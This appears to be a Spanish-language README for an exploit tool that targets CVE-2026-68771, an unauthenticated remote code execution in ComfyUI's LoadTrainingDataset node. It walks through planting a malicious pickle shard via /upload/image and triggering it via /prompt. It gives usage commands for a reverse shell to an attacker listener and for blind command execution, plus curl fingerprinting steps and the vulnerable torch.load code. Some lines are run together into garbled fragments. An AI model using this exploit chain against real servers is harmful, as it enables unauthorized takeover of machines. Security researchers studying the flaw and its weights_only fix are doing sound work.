
Exploit no autenticado para CVE-2026-68771, una RCE por deserialización de pickle en ComfyUI. Planta un fragmento manipulado a través de /upload/image, lo activa mediante /prompt y ejecuta comandos o abre una shell inversa.
Ejecución remota de código no autenticada en ComfyUI
a través del nodo LoadTrainingDataset.
LoadTrainingDataset.execute() carga los shards del dataset desde el directorio de salida del servidor con
torch.load(f) y sin weights_only=True. En PyTorch < 2.6 (donde weights_only
por defecto es False) un shard_*.pkl manipulado ejecuta su pickle __reduce__ al cargarse (CWE-502).
ComfyUI se distribuye sin autenticación, y la ruta /upload/image (con type=output)
escribe los bytes subidos sin procesar y sin comprobar la extensión, por lo que se puede plantar un .pkl y luego
activarlo en dos solicitudes no autenticadas.
0.23.0 en PyTorch < 2.68188 (sin autenticación)Solo la librería estándar de Python 3, sin dependencias.
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:8188/ --shell 10.10.14.5:4444
# blind single command
python3 exploit.py http://10.10.10.10:8188/ -c 'id > /tmp/pwned'
El comando se ejecuta en el servidor; su salida no se devuelve, así que usa --shell para obtener una reverse
shell (o escribe en una ruta legible) para observar el resultado.
Dos solicitudes no autenticadas:
Plantar — POST /upload/image con type=output, subfolder=training_dataset, nombre de archivo
shard_0000.pkl. La ruta /upload/image escribe los bytes sin procesar (no hay procesamiento de imágenes en esa
ruta), por lo que el pickle se guarda tal cual en output/training_dataset/shard_0000.pkl. El __reduce__ del
pickle devuelve (os.system, (cmd,)).
Disparar — POST /prompt con un workflow: un nodo LoadTrainingDataset
(folder_name=training_dataset) conectado a un nodo de salida SaveLatent. El nodo de salida obliga
a ComfyUI a ejecutar LoadTrainingDataset, que busca y llama:
curl -s http://10.10.10.10:8188/system_stats | python3 -c "import sys,json;print(json.load(sys.stdin)['system']['comfyui_version'])"
# 0.23.0
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:8188/object_info/LoadTrainingDataset
# 200 -> vulnerable node present
torch.load(f, weights_only=True).weights_only es True por defecto y el unpickler
restringido rechaza os.system.Solo para pruebas de seguridad autorizadas y fines educativos. Úsalo únicamente contra sistemas que poseas o sobre los que tengas permiso explícito para probar.
shard_*.pklwith open(shard_path, "rb") as f:
shard_data = torch.load(f) # no weights_only=True -> runs the pickle on torch < 2.6
El __reduce__ del pickle ejecuta os.system(cmd) durante la deserialización.